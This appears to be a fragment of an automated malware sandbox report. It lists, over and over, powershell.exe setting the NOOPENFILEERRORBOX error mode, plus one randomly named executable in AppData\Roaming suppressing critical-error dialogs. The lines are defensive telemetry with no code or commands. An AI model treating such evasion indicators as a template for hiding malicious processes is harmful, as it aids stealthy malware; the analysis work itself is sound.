Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\FIWszl1A8l.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
